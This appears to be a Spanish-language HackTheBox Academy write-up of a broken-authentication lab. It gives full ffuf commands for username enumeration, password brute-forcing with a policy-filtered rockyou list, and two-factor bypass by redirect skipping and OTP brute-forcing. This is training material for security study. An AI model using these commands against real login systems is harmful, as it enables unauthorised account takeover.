Skills Assessment - Broken Authentication
| Plataforma | HackTheBox |
|---|---|
| Dificultad | 📗 Fácil |
| Sistema operativo | 🐧 Linux🌐 Web |
| Estado | Terminada |
| Root flag | |
| Técnicas | #web#auth#bruteforce#enum |
| Extensión | 199 palabras · 1 min |
| Máquina original | https://academy.hackthebox.com/app/module/80/section/848 |
Enumeración
Primero de todo, vemos un login. Parece ser que es posible que se pueda enumrar usuarios ya que si fallas el usuario te dice que el usuario no es conocido. Además para registrarnos nos da la política de contraseña:

Si fallas el usuario y contraseña

Si fallas el usuario

Enumeración de usuarios con fuerza bruta
Usamos el comando
bashffuf -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -u http://154.57.164.73:32634/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=Usuario52000" -t 200 -fr "Unknown username or password." -s
Veremos como nos aparecerá que existe el usuario gladys. Ahora debemos atacar la contraseña.
Fuerza bruta
Para ello cogemos el rockyou.txt pero lo transformamos a la política de contraseña que tiene la empresa.
bash1grep -E '^[A-Za-z0-9]{12}$' /usr/share/wordlists/rockyou.txt \ 2 | grep -E '[0-9]' \ 3 | grep -E '[a-z]' \ 4 | grep -E '[A-Z]' \ 5 > rockyou-12-policy.txt
Se nos queda en 17048 lineas, mucho más asumible.
bashffuf -w ./rockyou-12-policy.txt -u http://154.57.164.73:32634/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=gladys&password=FUZZ" -t 200 -fr "Invalid credentials." -s
Resolución
Una vez entramos nos pide un código 2fa.

Aquí encuentro dos vías de resolverlo:
Vía 1: Bypass 2fa
Para ello cogemos burp, activamos el interceptar peticiones y nos vamos a /profile.php. Puesto que con el navegador si vamos a /profile.php nos volverá a redirigir hacia el código 2fa, podemos simplemente parar la petición sin seguir la redirección y se nos muestra la flag:
Vía 2: Fuerza bruta al código OTP
Para ello creamos el diccionario
bashseq -w 0 9999 > otp.txt
Y ejecutamos ffuf
bashffuf -w ./otp.txt -u http://154.57.164.73:32634/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "otp=FUZZ" -b "PHPSESSID=7dagbmmkkc4lujqmu7b6b17o4b" -t 400 -fr "Invalid OTP." -s
Una vez nos salga en la consola el número encontrado, pulsamos F5 y habremos obtenido la flag.
